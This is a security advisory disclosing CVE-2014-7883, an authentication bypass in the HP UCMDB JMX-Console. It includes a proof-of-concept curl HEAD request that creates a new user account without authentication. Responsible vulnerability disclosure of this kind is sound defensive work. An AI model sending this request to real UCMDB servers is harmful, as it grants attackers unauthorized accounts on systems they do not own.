Mogwai Security Advisory MSA-2015-02
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Title: Hewlett-Packard UCMDB - JMX-Console Authentication Bypass
CVE-ID: CVE-2014-7883
Product: Hewlett-Packard Universal CMDB (UCMDB)    
Affected versions: UCMDB 10.10 (Other versions might also be affected) 
Impact: high
Remote: yes
Product link: http://www8.hp.com/us/en/software-solutions/configuration-management-system-database/index.html
Reported: 14/11/2014 
by: Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench) 


Vendor's Description of the Software:
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The HP Universal CMDB (UCMDB) automatically collects and manages accurate and
current business service definitions, associated infrastructure relationships and
detailed information on the assets, and is a central component in many of the key processes in your
IT organization, such as change management, asset management, service management, and business
service management. The UCMDB ensures that these processes can rely on comprehensive and
true data for all business services. Together with HP UCMDB Configuration Manager
(UCMDB-CM) you can standardize your IT environments, and make sure they comply with clear
policies, and defined authorization process.
Many IT organizations turn to a CMDB and configuration management processes to create a
shared single version of truth to support business service management, IT service management,
change management, and asset management initiatives. These initiatives help align IT efforts
with business requirements and run IT operations more efficiently and effectively.
The initiatives success depends on the CMDB providing a complete view into the
configuration items (CIs) and assets as well as how various IT elements relate together to deliver
the business service.
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Business recommendation:
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Apply configuration changes from HP 
https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetsearch/document/KM01351169


-- CVSS2 Ratings ------------------------------------------------------

CVSS Base Score: 6.4
Impact Subscore: 4.9
Exploitability Subscore: 10
CVSS v2 Vector (AV:N/AC:L/Au:N/C:P/I:P/A:N)
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Vulnerability description:
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UCMB administrators heavily rely on a JMX-Console, which is installed by
default.
The JMX-Console web application in UCMDB performs access control only for 
the GET and POST methods, which allows remote attackers to send requests 
to this application's GET handler by using a different method (for example
HEAD).

The web.xml file of the JMX Console contains following security constrains:

<security-constraint>
<web-resource-collection>
<web-resource-name>Protected Pages</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>sysadmin</role-name>
</auth-constraint>
</security-constraint>

<security-constraint>
<web-resource-collection>
<web-resource-name>Callhome Servlet</web-resource-name>
<url-pattern>/callhome</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
</security-constraint>

This vulnerability is identical with CVE-2010-0738 (JBoss JMX-Console 
Authentication bypass). This can be used to create a new account which 
can then be used to access the JMX console.


Proof of concept:
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The following Curl command will send a HEAD request to create a new user
"pocuser" in the UCMDB Backend:

curl -I
"http://foobar:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=UCMDB%3Aservice%3DAuthorization+Services&methodName=createUser&arg0=&arg1=zdi-poc&arg2=pocuser&arg3=zdi-poc&arg4=pocuser"

Disclosure timeline:
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14/11/2014: Reporting issue to HP
18/11/2014: Re-Reporting, as no acknowledge received
18/11/2014: Acknowledge from HP
02/01/2015: Requesting status update from HP
29/01/2015: Requesting status update from HP
31/01/2015: Response from HP, they plan to release the advisory next week
02/05/2015: HP releases security bulletin
03/05/2015: Mogwai security bulletin release


Advisory URL:
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https://www.mogwaisecurity.de/#lab


References:
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Official HP security bulletin
https://h20564.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c04553906


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Mogwai, IT-Sicherheitsberatung Muench
Steinhoevelstrasse 2/2
89075 Ulm (Germany)

info@mogwaisecurity.de